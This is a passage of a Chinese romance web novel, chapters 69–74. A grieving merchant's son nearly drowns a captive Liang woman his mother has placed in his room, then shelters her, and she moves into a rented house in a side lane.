《贵女云鬓酥腰,狼王质子囚娇入帐》
第69章 堕
他转身走了……
没有一句言语,没有任何表情,就那么转身离开了……
只有他自己知道,他是落荒而逃,他接受不了珍爱之人掉入泥淖,光彩不再。
他的清风,他的明月,是不可被染指的,现在全毁了,他只觉得脸上火辣辣地烧灼。
安努尔回了家,愤怒地质问母亲:“为什么要这样待她?你明明可以给她安排一个更好的人,哪怕一个再普通不过的人也好,你却要毁她!”
母亲说了什么,她说:“我是为了让你看清,你爱得根本不是这个女人,你的爱只是一种感觉,一种你自以为美好、痴情的虚无,你扪心自问,看见那样的她,你还爱么?”
还爱么?
还爱么……
森冷的声音不停在他脑中回荡。
可他知道,母亲这样做还有一层意思,她在惩罚他,她忍受不了他脱离她的掌控,她是他的母亲,舍不得对他下手,便将这份怨念施加在了赛依拉的身上。
既是对他的警告,也是对他的惩罚。
若只是这样,兴许他会妥协,将母亲对他的压制默默承受,然而事情没有结束,他没有料到,他的母亲亦没有料到,那个看起来温和,嘴角永远带笑的女子才是最绝厉的。
如果安家老夫人知道接下来会发生的事,以及十年后自己儿子的堕落迷失,她当初一定不会那样对赛依拉。
赛依拉用一根绳子牵住了他的儿子,让她的儿子在接下来的十年里,成了安夫人最大的敌手,亦是一块抹不去的心病。
就在安努尔离开后的当晚,赛依拉用一根绳子结束了自己的性命。
接下来的岁月里,安努尔时常想,若他当时不去看赛依拉,或是躲在暗处不让她看见他,又或是他上前同她说一句话儿,她都不会那样决绝。
可他只是一言不发地走了。
自那以后,安努尔彻底失控了,他不再触碰女人,成日厮混于花院,招玩男伶或是小唱。
从前安老夫人给他定下了一家门当户对的婚事,那户人家见安努尔如此,亦不敢再将女儿嫁过来,再加上安努尔肆无忌惮地风流性儿,他的名声就这么在徽城传开了。
十年以来,他就这么无声地抗议着,到最后连他自己都习惯了这种颓堕的生活。
你不是不让我娶心爱的女人么,那好,女人,我再也不碰了,就这么一直玩耗到三十来岁。
安家老夫人如何不急,家中只这么一个儿子。
雅间内的声乐长长短短地响着,美姬、小倌儿频频给众富家子弟递酒。
这时,石儿禄提起一件最近发生的事情。
“不知道你们听说了没有?”
“何事?”其他几人问道。
“京都那边……不知道闹出什么事,出动了好多禁军。”
松赞笑道:“管那么多干什么,皇城里的事怎么也牵扯不到咱们身上。”
其他几人纷纷应和。
石儿禄笑了笑:“咱们这位少帝可是了不得,才夺了定州,依我看呐,用不了多久梁国就要对我夷越俯首称臣,以前咱们是大梁属国,十年河东,十年河西,届时大梁就是咱们的属国。”
“不错,不错……”松赞点头道。
美姬、小倌儿们再次续酒,众人乐呵着相互举杯。
一声轻嗤插了进来。
“大哥笑什么?”石儿禄问道。
安努尔捡了一粒蜜枣儿含在嘴里:“你们太小看咱们这位少帝了,那可不是个守国之君。”
“大哥的意思是?”石儿禄又问。
安努尔点了点桌案,小倌儿儿重新满上酒,男人又是一杯饮下:“不信你们看,梁国只怕想当咱们的属国还要看呼延家乐不乐意。”
此话一出,在场之人皆是一脸兴味,眼中透光,借此又兴起一个有意趣的话头。
“以后咱们也置买几个大梁女婢。”松赞说道,“再多买几个放到我这楼里唱曲儿,定能招揽更多生意。”
又有一人笑道:“梁女当不得什么,要我说,梁女还没咱们夷越女子好看,小鼻子小眼的,有什么看头。”
石儿禄家里是做珠宝生意的,小的时候常跟家中下人去梁国贩货。
“一看你就不懂,你才见过几个梁国女人就在这里夸夸其谈,你看到的那些都是普通货色,真正的绝色你是没见过。”
一边的松赞取笑道:“说的像你见过似的。”
石儿禄捻住自己的一根辫子,往身后一甩,本是一副啷当玩世不恭之态,突然正色道:“我真就见过,啧——你们是不知道,那小女郎看一眼便能入心,看两眼便能入魂,只叫人茶不思饭不想。”
其他几人纷纷哄闹他:“快说,快说,怎么个模样?”
石儿禄勾起嘴角,好似那小女郎的影就在眼前似的:“那小女郎看起来只有十三四岁的年纪,乌压压的髻儿,轻袅袅花朵身,桃花上脸,粉腮细腻,从头到脚,无一不妙。”
男人说罢仍是意犹未尽似的回味。
安努尔笑着摇了摇头:“你那个时候才多大?就起了色心?”
石儿禄叹了一口气:“小爷那时不过将将十岁,屁大的年纪,没法让美人儿侧目,若是现在的倜傥样儿,好歹也能让美人儿多赏一眼。”
众人听了,俱笑闹起来。
这时,旁边一美姬上前递酒:“郎君也太能夸口了,那小女郎比之奴如何?”
这女子是花院的名角儿,暖调肌肤,灯火下如同上了一层釉质,浓密的眼睫下是一双波光流转的睛眸,又艳又媚。
石儿禄上上下下将她打量,就着女人的手饮下杯中酒:“你要听真话还是假话?”
“真话是什么,假话又是什么,奴都要听一听。”女人嗔道。
其他人也都笑听着。
“假话就是,你同她比还是差一点儿。”石禄儿说道。
安努尔笑道:“还是别说了。”
那美姬没听出这话里的意思,仍是不依地发问:“真话还没说呢!”
“真话就是,你同她比差得不是一星半点儿。”
众人一听笑得越发大声了,美姬又是笑又是骂。
安努尔酒已喝足,今日心情不佳,便不再多待,准备起身辞去,给他递酒的小倌儿有些不愿他离得太早,却也知道留不住人。
这安家郎君虽蓄养男伶,从来只让他们在席间递酒逗趣,他自己从不在外留宿。
众人起身,相送安努尔,他们这些人都是一个地方从小玩到大的,向来视安努尔为主心骨,一是安努尔年纪长他们几岁,另一个安努尔魄力、掌控力很让他们折服,从小就是孩子王一般的存在。
安努尔走后,几人又是一番感叹。
“只怕又是为娶妻一事同安老夫人起了争执……”
一直以来,他都没放过自己……
第70章 占了他的床榻
安努尔走后,几人又是一番感叹。
石儿禄同安努尔走得最近,对安努尔从前的情况知道的比旁人清楚一些。
“估计安老夫人又提及让他娶妻,闹了不愉快。”
一边的松赞说道:“一晚上眉心都锁着呢,大哥这样哪里是气他家老夫人,完全是跟自己过不去。”
……
安努尔出了华兴楼,贴身小厮火奴牵马上前,安努尔撩衣上马,火奴一手提灯,一手牵马。
这个时辰不算太晚,街道两边排挤着小摊贩,吃食摊冒着浓白的热气,花灯摊挂着绚烂多彩的花灯,还有卖香料的,一阵晚风来,半条街都是脂粉香。
“主人,刚才山奴来过一趟,跟小的说了件事,让小的转告您。”火奴把话说得很慢,显然他知道下面的话,他家爷不喜欢听。
“说来。”安努尔平声道,好似对什么都提不起兴趣。
“老夫人替您买了个奴姬。”
男人嗤笑一声:“她又不是第一次干这种事。”
火奴心道,确实不是第一次做这种事情,从前老夫人将宅里稍有姿色的丫鬟往主人屋里放,结果,老夫人前一脚放人,主人后一脚就将人踢了出来。
再后来,老夫人又从外采买各式各样的美人儿,皆被主人撵出院子。
见此,老夫人消停了两年,想不到仍是不死心,如今又买了一个,而且还直接丢到他家大爷的榻上。
大爷要是知道那女人占用了他的床榻……他不能对老夫人怎样,难道还不能对那女人怎样?
火奴只得暗自叹一口气,那女人自求多福罢。
约莫一炷香的功夫,他们到了安宅。
安努尔翻身下马,朝宅子里走去,火奴将马绳交给守门的小奴,随在主人身后。
一进宅门,走过两个穿堂,男人先去了正房。正房的丫鬟见自家大爷回来,忙打起门帘向里通传。
安家老夫人,安氏,听闻儿子回了,让屋里的丫鬟去厨房端一碗醒酒汤来。
丫鬟应声去了,正值这个当儿,安努尔进了屋子,安氏看去,果不其然,又是一身酒气。
“儿子来给母亲问安。”安努尔说道。
不论安努尔对自家母亲诸多不满,晨省昏定,这一点上从不曾敷衍,早晚问安一次不落。
安氏保养得十分好,可眼角的皱纹和眼底的疲态仍能观其老态,妇人点点头:“你坐一会儿,我让人端碗醒酒汤来与你喝。”
“不必了,儿子这就回房。”
男人不及安氏回答,待要起身离开。
“给我站住!”
安努尔顿住脚,侧过身,看向上首。
安氏气道:“我这个屋子,你是一刻也不愿意待,是罢?”
安努尔并不说话,面上亦无过多的表情。
安氏知道继续说下去,谈不出个结果,近十年了,这孩子对她一直是不瘟不火的态度,恭敬有余,却不知这恭敬中又有几分真心。
“我买了一个奴婢,放在你屋里……”
妇人话未说完,安努尔鼻子里嗤出一声冷哼,淡得只有他自己听到。
“母亲这又是何必,明知会是什么结果。”
安氏声音没有太大的起伏,她已调整好自己的情绪,她一个妇人,能挣下这么大一份家业,在男人的战场上大显身手且游刃有余,就不能将她当一个普通的内宅妇人来看。
“如今我已是半只脚入土的人,总是我先你一步走,你的事以后我也管不了了,罢了,那女子就在你房里,你要就要,不要的话随你处置,我也认了,你想如何便如何。”
安努尔眼一抬,启口道:“母亲此话当真?”
安氏闭上眼,点了点头:“当真。”
这时,丫鬟揭帘进屋,端了醒酒汤来,就要送到自家大爷面前,安努尔只斜了一眼,转身便出了正房。
“老夫人,大爷他……”丫鬟看向上方。
安氏悠悠叹出一口长气,本想着再试一次,她终究是不死心,想将儿子拉回正途,可刚才他的那个态度,多半是无望了。
安努尔出了正房,往自己的虹院走去,火奴紧随其后。
“你去前面,把那女人从屋里带出来,找牙婆收了。”男人折过步子,不再往虹院去,而是转了一个方向往湖亭方向行去。
火奴应下,暗忖,主人这是连那女人的面也不想见了,可惜了老夫人的一片苦心。
火奴进到虹院,院子里的廊檐下已点满了灯,那女人就在爷的寝屋里,于是径直走到大爷房门前,就要推门而入,一个声音从后响起。
“诶——”
火奴转头看去,正是同在大爷院中伺候的山奴,刚才也是他给自己传的话。
山奴缩在树影儿里贼头贼脑地朝火奴招手。
火奴下到阶下,往他跟前走去:“你偷偷摸摸在这里做什么?”
“你先别问我做什么,我倒要审审你,你要做什么?”山奴说道。
“还能做什么,主人让我把里面那人拖走。”
山奴一听,连连摆手:“这种事你千万莫要做。”
“怎的,主人交代下来的事情,还由得了你我?”火奴不愿同他废话,说着就要转身,却又被山奴扯住,于是忍不住叫道,“你拉我做甚,需得动作快些,一会儿大爷回来见人还在,我少不了一顿骂。”
山奴看了眼周围,将火奴往树影儿里拉,朝那屋里努了努嘴儿:“这个不一样。”
“怎么个不一样,以前买来的那些,没一个丑的,最后还不是被赶了出来。”
“哎呀——这次的这个,我见了,真就不一样,我也说不出来,反正我这辈子没见过这样的,朵家知道罢?”
火奴点点头:“知道,咱们夷越五大上姓氏族。”想到什么,继续道,“有一次你我二人随主人去京都,正巧碰上朵家贵女游街,就是后来进王庭的那位,不得不说,朵氏一族当真是专出美人儿。”
山奴笑了笑,眼睛望向那屋:“这个比朵家贵女还强上几分。”
火奴先是怔了怔,接着上下打量山奴一眼,冷笑道:“不会是老夫人授意你这样说的罢?”
他是不信山奴的话,定是得了老夫人的吩咐,让他在这里添火加柴。
山奴急得一跺脚:“你当我跟你一样莽直,我是大爷院子里的人,亲不间疏这个道理我还是懂的,除非我不想在爷身边伺候了,才傻着听那边的指派。”
火奴不去管他,仍是准备去屋里将那女子拖出来,让人牙转卖……
第71章 沙哑的低叹
山奴见火奴油盐不进,仍是往那屋里去,再次扯住他。
火奴急了,气骂道:“合着主人不是吩咐的你,你倒是不怕,在这里撺掇我,事情若办不好,受责骂的是我不是你,你就祸害人罢!”
“你看你急的,咱们跟主人这么些年了,我就问你一句话,你想不想主人好?”
“废话,自然希望主人好。”
山奴把下巴一扬:“那这事你就别管,万一这女人真能笼住大爷的心呢,你也不想大爷继续这样荒唐下去罢。”
火奴不说话了,隔了一会儿,叹道:“爷心里一直记着从前的那位,谁来都没用……”
“说你蠢,你真是一点也不谦虚,那都多久的事了。”山奴说着,伸出左右食指,交叉在一起,“十年!就是记着、惦着也不至于这样,大爷这是心里有症结,这个症结跟从前那位有关系又没有关系。”
“什么叫有关系又没有关系?”
山奴沉出一口老气,摇了摇头,拿这个直脑子的搭档没办法:“主子是借着这一茬跟老夫人打擂……哎呀,你听我的就是了。”
这一回火奴倒是没再说什么。
……
话分两头说,江念被人抬到床榻之上,将整个房间打量一番,谁承想,身体里的药力并没完全过去,困意袭来,眼前就是一黑。
待她再次醒来,屋里黑黢黢一片,只有门檐下的灯笼透进淡淡的光,洒在门内的地砖上。
她试着挪了挪身体,双手双脚俱被绑,手臂已经开始发麻、发酸,艰难地坐起身,将腿放到脚榻上,端正身形,屈膝,用力,跳下脚榻。
接着又是几下跳动,只这么几下,已是有些气喘,双手反绑,落脚不稳,每一下跳动都有摔倒的风险。
刚跳没几步,有脚步声走来,此时她的眼睛已适应了黑暗,四下一扫,整个房内只有一架屏风后能藏人,这时已顾不上许多,就是爬也要爬到那里。
待她转入屏风后的同时,房门“吱呀——”开了。
稳健的脚步声踏了进来,随在他的身后,又是几个更轻更碎的脚步,应是丫鬟的,不一会儿,房里亮起黄澄澄的烛光。
“大爷可要备热水?”一个丫鬟问道。
男人“唔”了一声。
过了一会儿,丫鬟将灶房里的热水开始往房里送。
安努尔靠坐在一张罗汉榻上,面颊潮红,显然喝了不少,刚才在湖亭吹风,仍驱散不了身上浓浓的酒息,鼻息间呼出的是微醺,他揉了揉额穴,缓缓闭上眼。
“爷,热水已备下。”
不见回应,丫鬟们开始依次序退出,并带上房门。
约莫过了一盏茶的工夫,安努尔仍保持着刚才的姿势,身体往后仰靠,双腿微开架坐,一手搁在榻扶上,一手垂下。
这时,一道沙哑的低叹从男人喉间溢出,在安静的房内显得格外清晰,接着是衣料窸窣之声,脚步声往屏风后的沐间响来。
安努儿进到沐间,将衣衫一层一层褪去,赤袒着精壮的上身,只着一条软绸裤,走到浴桶边,将手探到水里,手在水里荡了两荡,然后抽出。
江念额上布满汗珠,手心也是湿黏一片,因为太过安静,不得不屏息敛气,透过隔板缝隙,见男人褪去了上衣,忙把眼睛瞥向别处,然而等了半天,却不见任何动静。
她不得不再次透过缝隙往外看,不看还好,一看之下,浑身的血瞬间凝住,她在看向他的同时,那男人亦侧头盯着她。
这么一条小缝,他不可能看见自己。
安努尔一进浴间就感到了异样,知道这屋里有人,借用试水的间隙,找到了那人的藏身之处。
男人眉眼一沉,母亲还真是不死心,往沐间藏人,这是嫌人死得不够快么?
不及江念反应,男人两步跨过去,探手绕过隔板,一把将人揪出来,半句废话也无,锢住女人的颈,拖拽到桶边,将其一把摁入水里,女人的半截上身浸没于水中。
他就这么冷眼看着她垂死挣扎,直到慢慢溺死。
江念没法呼吸,胸口如同压着一块大石,这一刻她能听到自己的心跳声,一下又一下快速地在耳道中鼓动。
她怎能这么不明不白地死了?死在异国他乡,死在一个认都不认识的人手里。
心里想着,一双脚往后胡乱挣蹬,那动作像极了拱动的软体虫,人垂死挣扎的气力惊人,挣扎中踢中了一下,身后的男人发出一声闷哼,她似是看到生的希望,越加卖力地踢蹬。
然而,乱蹬的双脚在半空被一个力道截住,像铁镣一样锢住她的脚踝。
安努尔一手擒着女人的脚踝,指下的柔腻令人吃惊,再往上是女人乱蹬中露出的白敷敷的小腿肚。
他这才注意到,女人双手被麻绳反绑于身后,眼中闪过一丝意外,遂将人从水里捞起,丢掷到地上。
江念瘫软地伏在地面,本能地大口呼吸,要把干瘪的胸腔灌满空气,而脑子仍是空白,待身体和头脑慢慢回缓过来,下意识缩到壁脚,慢慢蹭坐起,双腿屈起护在身前,颤抖着,一双眼戒备地盯着面前之人。
安努尔就这么立在那里,一双眼向下睨着,将女人从头到脚打量,微微挑了挑眉。
乌黑的发编成麻花,在脑后盘成一大一小的两个髻儿,细碎的鬓发和额发因湿了水,衔在腮上。
一双妙目嵌得不知是水还是泪,正湿漉漉的警惕地看着他,往是下一管直隆隆的玲珑鼻,因过于紧张,鼻瓣微微绷着,再往下,是两瓣微微有肉的唇,轻轻启着,随着胸脯起伏吐息。
女人因刚才的挣扎,露出一边华泽的肩头,几缕湿发勾画于侧颈间,让那细颈的弧度更柔更娇。
“梁国人?”
江念一激灵,脸色更白了,却不敢开口说一个字。
女人明明害怕得浑身打颤却强装镇定的模样,让安努尔心底生出一丝异样,于是抬脚一步一步朝她逼近……
第72章 诱哄
江念见男人向她靠近,双腿施力,往另一边腾挪,只想离这人越远越好,他刚才的狠戾绝对是下死手,只是不知为何又改了主意。
她现在什么也不敢说,上次为救珠珠,在高家差点丧命,经历过那一次,她再不敢随便暴露身份。
之前,她和阿星被囚高家时,她向高家汉子讨铙,她认识他们大王呼延吉,只要将她们放了,她可以给他这辈子用不完的钱,结果高家汉子说的什么。
他说,别说你没这么多钱,就是有这么多钱,也走不出这个村子,人就是这样,恶行一旦暴露,最先想的不是补救,而是一错到底,继而杀人灭口,避免给自己招灾。
他们深知钱再多,没命花的道理。
譬如现在,她若对这人说,你别杀我,我同你们大王有那么一点不太牢靠的旧情,她能肯定,这男人听后会毫不犹豫地把她再一次掼到水里,了结了。
安努尔见女人一直往旁边挪移,避着他,他进一步,她便蠕动着退两步,始终不让他靠近,见她如此惧怕,安努尔对自己刚才的鲁莽有点后悔。
“你莫怕,我不伤你。”男人说着,拿下巴指了指,“让我帮你把绳索解开。”说完见女人仍是警惕地看着自己,那眼神显然是不信的,心里有些好笑,解释道,“我将你当成了贼人。”
他见女人面上起了一丝变化,继续道:“你看,若是你家进了贼人,你也不会手软,对不对?”
话里带了一丝诱哄的意味。
也不知她听没听进去,不过他再靠近时,她没躲了,他走到她的面前蹲下,从靴筒里抽出一把匕首,快速将女人手脚上的麻绳割断。
“我没有恶意,你现在可以开口了。”男人语气放轻:“你怎么到我房里来了?”
江念心道,我怎么到你房里来的,你自己不知道么?开口却是:“我不记得了,我……记不清了……”
安努尔眼中闪过一丝惊诧:“不记得了?”
江念点了点头。
“那你叫什么名字,家住哪里?这些可还记得?”
安努尔问完,盯着女人,见她低头想了想,然后摇头。
“没关系,不记得便不记得罢,以后再慢慢想。”
门外,火奴和山奴在树影儿里来回踱步,眼睛不住地往那屋里看。
“我真是脑子被驴踢了才听信了你的话。”火奴说道。
山奴此时也有些后怕,不该拦下火奴,大爷那脾气,真怕一时怒急把气撒到他们二人身上,并且他的罪责比火奴更大,毕竟是他拉着火奴,阻他进去带人出来。
正想着,房门从内打开,两人迅速走到阶下,躬身候立,听得自家大爷吩咐:“叫丫鬟进来伺候,再在院里清出一间房来。”
两人立马应是,忙不迭地招丫鬟进屋,另外又招来几个丫鬟把旁边的一间侧房清扫出来,并重铺床帐熏香。
房间很快清扫出来。
两个丫鬟一左一右十分贴心地搀扶着江念往侧房走去。
安努尔立在门首下,目送女人进了侧房,开口道:“安排人手,看住了。”
语调同刚才的轻柔完全不同。
火奴同山奴对视一眼,都从对方眼里看到了惊异,大爷居然要留人?!
彼边,安宅正房亦收到消息,十年来,安老夫人的脸上终于有了笑。
“此话当真?我儿将人留下了?”
“当真,当真,千真万真!”管家安忠义说道。
“好,好,留下来就好。”安氏说着,一股酸意上涌,泛到喉间,她本不抱希望了,突然想到什么,立马吩咐,“快,多支几个丫鬟到那丫头身边伺候,一定把人照顾好了。”
安氏说完见管家不动,急道:“怎么还不去?!”
安忠义说道:“夫人莫急,大爷如今态度才有了转变,这个时候正房派人过去只怕不好,反惹大爷不痛快。”
“是了,你说的在理,是我急了,没考虑到这一层。”她本是一番好意,可儿子不会这么想,只怕以为她派人过去另有目的。
“老夫人放心,大爷既然打算把人留下,心中必然已有计较,您还怕那边没人伺候么?”
安氏眼中带笑,心头的酸楚又被喜悦取代。
江念被丫鬟请入侧房,这间房比刚才那间要小一些,一应陈设却也十分精致,一架宽大的玳瑁雕镂花草围屏,将房间隔出一大一小两片区。
外间摆了一张圆形桌,桌上摆着果盘、茶盘,还有一些精巧小食,因是才熏香的缘故,一进屋便嗅到淡淡的木质香调。
丫鬟带着江念进入隔间的沐室,伺候她沐浴。
硕大的雕花漆金盆里冒着细细的白烟,水面融荡着各色花瓣,有红的,绿的,还有黄的,一瓣一瓣在水中越加鲜丽。
“阿姑,奴婢们为你宽衣。”其中一个丫鬟柔声道。
江念点头,任几人为她褪衣,散发。
一个长挑个头的丫鬟十分贴心地搀扶江念入到浴桶里,身边的丫鬟不待她动手,便开始为她轻柔地擦洗身子,与此同时另有宫婢为她揉洗长发。
她就这么松懒地浸在水中,一会儿仰靠于桶壁,一会儿趴伏在桶沿,安然地享受着丫鬟们的伺候。
高长个儿丫鬟用玉簪将女人的湿发绾起,露出女人纤薄光洁的后背,后背处凸显两片好看的蝶翅骨痕。
江念趴伏在桶沿上,垂着粉颈儿,惘惘地看着地上的影儿,有她的,还有丫鬟们的,晃动着,忙碌着,很热闹的样子。
这一刻,她恍惚回到了江府,回到了她的闺房,身边环伺着从小到大伺候她的鬟儿们。
在撩拨的水声中,她卸下了一直以来的伪装,眼泪一滴滴往地上砸去,她在呼延吉身边像只乱窜的苍蝇,觍着脸一会落在这里,一会落在那里,始终以他为中心,乱飞乱舞。
她同他在一起,将脸面尊严丢在一边,伺候他、讨好他、迎合他,她观察着他细微的表情,洞察他眼底情绪的流转,到最后自己什么也不是,连从前他对她的痴意都是她的一厢情愿,是假的!是他装的!
呼延吉,我再也不想见到你……
第73章 钱保不住,人亦保不住
江念拿湿漉漉的手揉了揉眼睛,闭上眼,不再去想。
盥沐毕,丫鬟们给她换了一身干净的衣衫,前后环伺中江念出来沐房,那个高挑的丫鬟引她坐到妆台前,用干巾慢慢绞着她的发丝。
“阿姑,你的头发又长又浓密,天下再没有比这更好的发了。”丫鬟说道。
一个更为活泼的声音在江念的记忆中荡开。
“主儿,你这头发呀,天底下再没有能比的过的。”
从前秋水也这样说过。
江念透过镜子看向身后的丫鬟,问道:“你叫什么名字?”
高挑丫鬟笑道:“我叫秋月,因是夜里出生的,家人就给我起了这个名儿,后来到了安家,这个名儿也没改过,就一直用着。”
江念笑着点点头。
秋月又道:“阿姑若是不喜欢,可以给婢子赐个名儿。”
“秋月这个名字很好。”
正说着,三四个丫鬟手端托盘依次序进了屋,将托盘上可口的菜馔摆放于桌面。
江念起身走到桌边,看着这一桌饭菜,有荤有素,有鲜果有汤品。
“定是大爷吩咐灶房上的。”秋月在一旁解释道。
江念坐下,一边的丫鬟开始布菜。
这个男人前一刻还要杀她,如今却又待她为上宾,难道真如他所说,她的出现他并不知情?他将她当成贼人才下杀手?
用罢饭后,秋月上了香茶,江念接过,以茶漱口,又净了手,一边的丫鬟上前替她用香膏匀手。
下人们收了桌面,重新熏香铺帐,秋月将江念的头发用暖炉烘至半干,伺候她躺入榻上。
“阿姑,我们就在外房候着,你随时唤我们。”秋月说道。
江念点头:“你们退去罢。”
秋月打下帐幔,带着一众人退出了房间。
江念没想好接下来要怎么办,但有一点她很肯定,她不想回王庭,不想再见到呼延吉。
可她也不能不清不楚地寄居于这户人家,天下哪有免费的午餐。
纷杂的思绪在她的脑中绕来绕去,就这么睡了过去,床铺很干净,很松软,可这一夜她睡得并不踏实。
睡睡醒醒一直到天亮,丫鬟们听见屋里的动静,敲门进入,伺候屋主人梳洗更衣。
丫鬟们整列一排,手上的托盘里放着各式的钗環首饰和衣裳。
夷越女子服饰衣襟阔大,江念有些不惯,便从托盘里挑了一件领口稍窄的衣衫。
窄袖交领长衫,绢纱里衣,衣领开口处,露出两道微凸的锁骨,烟紫的纱衣在两侧开出很高的跨口,一直开到大腿处,纱衣外再套一层水绿色的半臂掐腰及膝长衫。
下着一条月白的提花灯笼裤,脚上着一双银红翘头软底鞋。
衣服很合身,裁剪得恰到好处,越服不似梁服大气慵懒,却显得人十分精致,男服彰显原始的不羁,女服则修饰天然的曲线。
江念从首饰上面扫了一眼,并未让丫鬟们给她佩戴,只让她们把她的头发梳齐整即可。
夷越人不喜将头发绾成复杂的发髻,无论男女,他们喜欢编发,有时在街上,甚至可看到男子编着满头小辫,然后再齐集一股束于脑后,女子亦然,带着一股说不出来的野劲儿。
丫鬟们手很巧,依着江念的意思,从她额前挑出几缕发丝,编织成复杂的花辫,再梳于脑后,同其他发丝汇集成大股,经过灵巧的编织,在后脑盘成一个发包。再在发包上簪上金丝绞成的网,网上嵌着几粒彩色珠石,用以固定发包。
女人前额光洁饱满,简简单单的发式显得整个人清丽且雅致。
秋月暗叹,什么是芙蓉面,冰雪肌,轻袅袅花朵身,这便是了,怪道这女子能留下。
用罢早饭,江念正待前去找昨晚的男人,那男人便来了。
安努尔进屋,见了江念,先是定目看了一瞬,张了张嘴,不知该如何称呼。
“昨夜休息的可好?”
江念笑了笑,不语。
安努尔怔了怔,以为她会说些客气话,笑道:“是我的过错,吓到娘子了。”梁国好似是这么称呼女子的。
两人对坐下,丫鬟们开始上茶,摆上茶点,便退于门首等待传唤。
“不知在下该如何称呼娘子。”
江念低下头,从腰上取下自己的香囊,双手递上,安努尔接过,只见香囊上歪斜地绣着一个“念”字。
“念……”男人喃喃出声,然后抬眼看向女子,“那我叫你阿念?或是念儿?”
江念接话道:“阿念罢。”
安努尔笑道:“姓什么可还记得?”
“不记得了。”
“阿念之后有什么打算?”
江念想了想,说道:“我身上还有些钱资,打算找个落脚之处,再做其他打算。”
安努尔笑了笑,不言语。
“郎君笑什么?”
“只怕我说了,会唐突了你。”安努尔拿起琉璃盏,轻呷了两口。
“郎君但说无妨。”
男人看了江念一眼,启口道:“以你的容貌在外行走,别说钱保不住,只怕人亦是保不住,且你又失了记忆,依我看,不如就此安住下,待记忆恢复后再离去,岂不更好?”
江念搁于桌案上的手慢慢蜷起,转而道:“还未及问郎君姓名。”
“在下姓安,名努尔,安努尔。”
江念起身朝男人行过一礼:“妾身在这里人生地不熟,亦没有什么倚仗,寄居在此实是冒昧打扰,郎君可否替我寻一处小屋,房金奉上。”
她始终觉得寄人篱下不是个事,且她有些余钱,租个小屋应该不成问题。
至于容貌……总能想到办法,变美不易,变丑还不容易?
安努尔以为她会被他的话怔到,想不到她仍是坚持搬出去,见女人等他回复,点了点头:“这不是难事,钱就不必了,你留着以后生计用,我差人给你打听打听,租个带院子的小屋如何?”
眼下的境况不容她逞强,便接受了他的好意。
“若能如此再好不过,待我找到一条谋生之计,定将房金归还郎君。”
安努尔露出一个笑来,眼中生出一丝柔光……
第74章 怜香惜玉
安努尔办事很快,没两天小院就找好了,离安宅不算太近,也不算太远,在一条名为桂花巷的窄巷子里。
不巧的是,安努尔往其他城镇办事去了,得几日才回,临走前让江念待他回来,再安排她搬进小院,可江念等不及,她本身也没什么行李,为表感谢去了正房,向安家老夫人作辞。
安氏虽不情愿江念离开,可也吸取了从前的教训,不再强加干涉,只能应下。
待江念走后,安氏叹道:“好不容易有这么个人,没待几天又要走,如何是好?”
“老夫人不必过虑,大爷若是对此女不上心,何故花费力气给她找房,包括她在咱家这几日的衣食住行,哪样不精细,大爷心中定有计较的。”
妇人听罢,面色才缓,她的儿子她最了解,并非什么怜香惜玉之人,只有可到了他的心上,他才这般作态,就如同对之前那个赛依位一样。
安氏能在男子当中站稳脚,挣大家业,因为她的心够狠,她的儿子将她的狠劲遗传了十足,甚至连她这个母亲也要惧让两分。
譬如,十年间,他取代她成了安家的掌舵人,并非她主动让权,而是她在同他的较量中落败,如今家中产业她只是挂个名头,实际掌控之人却是安努尔。
江念带上自己的包袱根据地址来到桂花巷,听闻这里从前有很多桂花树,后来整修时全都砍了。
她租住的小院在桂花巷最里面一家,门前有一根歪脖子大树,她从包袱里拿出钥匙,将院门打开,走了进去。
但见院东一角栽种着几株果树,另一角有口井,西面用栅栏围出一爿地,种了些蔬菜,正面上三层台阶便是堂屋了,这院子采光不错,小院十分干净整洁,一看就是经人打扫过的。
围转了两圈,越看越满意,有了这方小院,让她茫然的心安定少许,至少在异国他乡有了一个落脚之所。
“呀!这就来啦!”一个响亮的女声传来。
江念回头去看,是一个三十来岁的妇人,靛蓝色的麻布衣裙,一头发丝用布巾包裹,鬓角留出两缕微卷的发,看起来十分精神。
“你是?”江念问道。
妇人笑着走了进来,睛目不转地看着江念,笑道:“这屋子是我的。”
江念忙回应:“原来是房主。”
妇人扬手指了指院墙另一面:“我就住你旁边,墙那边的院子也是我的。”说完,又看了江念好几眼,笑说,“牙人同我说是个独身女子,我一开始不太愿意,你知道的,就怕做出些不好的事来,后来牙人说租户是梁国人,又跟我保证绝对是清清白白的一人儿……”
江念笑着听她说话。
妇人继续道:“现下一看,当真是清清白白,可再没有比你更白的了。”
噗嗤一声,江念撑不住笑起来。
女人也跟着乐了,指向西面的菜园:“这屋子空了一段时日,我种了些菜,就不拿了,你扯着吃。”
“那就多谢夫人。”
“叫什么夫人,你叫我情姑就行,他们都这样叫我。”女人正说着,远远传来孩童的笑声和一个男人的声音。
“我家小柴头回了。”妇人几步跨出院门,朝外招了招手,“当家的,你来,见见新邻居。”
不一会儿,一个皮肤黝黑的粗壮汉子牵着一个虎头虎脑的五六岁小儿出现在了院门前,小儿见到妇人,欢快地跑到妇人跟前,扯着妇人的衣摆叫娘。
那汉子则站在院门外对江念笑着点了点头。
妇人回头对汉子道:“当家的,你去买些卤味,晚上我多烧两个菜,让……”妇人停顿了一会儿,问,“对了,还不知道你叫什么。”
“嫂子叫我阿念罢。”
情姑见自家汉子走了,便道:“这屋子你还需再收拾一番,晚饭就在我家对付了。”
江念想了想,一会儿天就暗了,她头一日来,这屋子又空了一段时日,肯定开不了火,便应下了,待明日再去街上买一应生活用品。
两人又说了一会儿话,妇人便带着自家小儿离开。
江念进到屋内,一个四方的堂屋,两间小房,桌椅板凳都有,落了薄灰,小房内有床榻,还有一床卷起的被褥,出了屋,又转去灶房,有个很大的灶台。
当下打来一盆井水,将屋内简单扫洒一遍。
掌灯之时,隔壁的小柴头颠颠跑了过来:“姨姨,我阿娘让你去吃饭,快去,快去。”叫了一声跑开。
江念用井水净过手,去了隔壁。
后来时日相处久了,她才知道情姑原先嫁过一个男人,那男人开了一间小商铺,家资尚可,情姑算是陪男人一手将生意做起来,男人有了些钱,脾气便大了,常常出入花街柳巷不说,好不容易赚得的银子流水一般往外出,情姑稍稍说他两句,男人便对情姑动辄打骂。
一日,男人半夜从花院出来,喝多了酒,栽到河里淹死了,情姑现在的男人名万年,是她铺子的伙计,而小柴头是情姑同原先那位所生。
情姑又同江念介绍起这条巷子的住户,其他人都还好,只她家一墙之隔的那户,是一个书生,性子怪僻,不善言辞,不过不是坏人,没什么坏心,就是性格不招人喜欢。
